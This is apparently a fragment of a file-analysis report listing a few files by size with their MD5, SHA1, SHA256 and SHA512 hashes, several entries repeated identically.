SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
674KB
MD5e479ecb1802253a4c94767c8af306baf
SHA1846bb5d88b91b8aa17bdb58eaf246b10e6586402
SHA256b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679
SHA512b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373
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Filesize
674KB
MD5e479ecb1802253a4c94767c8af306baf
SHA1846bb5d88b91b8aa17bdb58eaf246b10e6586402
SHA256b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679
SHA512b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373
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Filesize
674KB
MD5e479ecb1802253a4c94767c8af306baf
SHA1846bb5d88b91b8aa17bdb58eaf246b10e6586402
SHA256b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679
SHA512b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373
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Filesize
674KB
MD5e479ecb1802253a4c94767c8af306baf
SHA1846bb5d88b91b8aa17bdb58eaf246b10e6586402
SHA256b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679
SHA512b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373
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Filesize
674KB
MD5e479ecb1802253a4c94767c8af306baf
SHA1846bb5d88b91b8aa17bdb58eaf246b10e6586402
SHA256b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679
SHA512b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373